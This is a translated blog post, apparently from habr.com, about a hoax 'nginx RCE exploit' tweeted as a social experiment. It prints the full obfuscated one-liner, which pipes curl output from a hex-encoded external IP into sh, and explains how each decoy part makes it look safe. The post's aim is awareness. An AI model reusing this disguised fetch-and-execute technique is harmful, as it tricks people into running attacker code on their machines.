The success of a social experiment with a fake exploit for nginx

Note: translation.: Author In an original note published on June 1, I decided to conduct an experiment in the environment of those interested in information security. To do this, I prepared a fake exploit for an undisclosed vulnerability in a web server and posted it on my Twitter account. My assumptions — to be immediately exposed by experts who would see the obvious deception in the code — not only did not come true… They surpassed all expectations, and in the opposite direction: the tweet received enormous support from numerous people who did not bother to check its content.

TL;DR: never use file piping in sh or bash. It's a great way to lose control of your computer.

I want to share with you a short story about a jokey PoC exploit that was created on May 31. It appeared rapidly in response to the news from Alisa Esage Shevchenko, a member of Zero Day Initiative (ZDI), about the upcoming disclosure of a vulnerability in NGINX that leads to RCE (remote code execution). Since NGINX underpins many websites, the news was expected to have a bombshell effect. However, due to delays in the 'responsible disclosure' process, the details of what happened were not known — that is the standard procedure for ZDI.

The tweet about the disclosure of the vulnerability in NGINX

After finishing work on a new obfuscation technique in curl, I quoted the original tweet and 'leaked a working PoC' consisting of a single line of code that allegedly exploited the discovered vulnerability. Of course, it was complete nonsense. I thought I would be caught immediately and that at best I would get a couple of retweets (which would be fine).

The tweet with a fake exploit

However, I could not imagine what happened next. The popularity of my tweet soared to the heavens. Surprisingly, as of now (3:00 PM MSK on June 1), very few people have realized it was a hoax. Many are retweeting it without any verification (not to mention admiring the lovely ASCII graphics it produces).

Just look at the beauty!

While all these loops and colors are impressive, it's clear that to see them, people ran the code on their machines. Fortunately, browsers work similarly, and given that I really don't need legal troubles, the code hidden on my site simply executed echo calls, without attempting to set or run any additional code.

A brief aside: netspooky, dnz, I and other guys from the Thugcrowd team have been experimenting with various ways to obfuscate curl commands for some time because it's fun... and we're geeks. netspooky and dnz discovered several new methods that seemed extremely promising to me. I joined in on the fun and tried to incorporate IP decimal transformations into the trick set. It turned out that IPs can also be converted to hexadecimal format. Moreover, curl and most other NIX tools happily 'consume' hexadecimal IPs! Thus, it was just a matter of creating a convincing and safe-looking command line. Ultimately, I settled on this:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..//nginx-handler?usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socio-Electronic Engineering (S.E.E.) — more than just phishing

Security and familiarity were pivotal to this experiment. I think they were key to its success. The command line clearly implied security by referencing '127.0.0.1' (the well-known localhost). It's considered that localhost is safe, and the data on it never leaves your computer.

Familiarity was the second key component of the S.E.E. experiment. Since the target audience mainly consisted of people familiar with the basics of computer security, it was important to create code parts that seemed familiar and thereby safe. Borrowing elements from old exploit concepts and combining them in unusual ways proved quite successful.

Below is a detailed breakdown of the one-liner. Everything on this list is cosmetic, and practically nothing is required for its real functioning.

So which components are really necessary? They are -gsS, -O 0x0238f06a, |sh and the web server itself. The web server did not contain any malicious instructions, it simply transmitted ASCII graphics using commands echo in the script contained in index.html. When the user entered a string with |sh in the middle, index.html it was loaded and executed. Fortunately, the web server custodians had no evil intentions.

• ../../../%00 — depicts an escape from the directory;
• ngx_stream_module.so — the path to a random NGINX module;
• /bin/sh%00<'protocol:TCP' — we supposedly run /bin/sh on the target machine and redirect the output to a TCP channel;
• -O 0x0238f06a#PLToffset — a secret ingredient, augmented #PLToffset, to appear as a memory offset somehow contained in the PLT;
• |sh; — another important fragment. We needed to redirect the output to sh/bash to execute the code coming from the attacking web server located at 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — a dummy, where netcat refers to /dev/tcp/localhost, to make everything look safe again. In reality, it does nothing and is included in the line for show.

This concludes the deconstruction of the one-liner script and the discussion of 'socio-electronic engineering' (intricate phishing).

Web Server Configuration and Countermeasures

Since the overwhelming majority of my subscribers are information security experts/hackers, I decided to make the web server a bit more resilient to manifestations of 'interest' from their side just to give them something to do (plus, setting it up was fun). I’m not going to list all the traps here since the experiment is still ongoing, but here are a few things the server does:

• Actively tracks attempts to spread on certain social networks and injects various preview thumbnails to encourage the user to click the link.
• Redirects Chrome/Mozilla/Safari/etc. to a Thugcrowd promo video instead of showing the shell script.
• Monitors for CLEAR signs of intrusion/brute force attacks, after which it starts redirecting requests to NSA servers (ha!).
• Installs a Trojan as well as a BIOS rootkit on all computers whose users visit the host from a regular browser (just kidding!).

A small part of the antimer

In this case, my only goal was to master some capabilities of Apache — specifically, cool request redirect rules — and I thought: why not?

NGINX Exploit (real!)

Follow @alisaesage on Twitter and keep up with the amazing work of ZDI in addressing real vulnerabilities and exploit opportunities in NGINX. Their work has always fascinated me, and I'm grateful to Alice for her patience regarding all the mentions and notifications triggered by my silly tweet. Fortunately, it also had some benefits: it helped raise awareness about NGINX vulnerabilities, as well as the issues caused by curl abuse.

Source: habr.com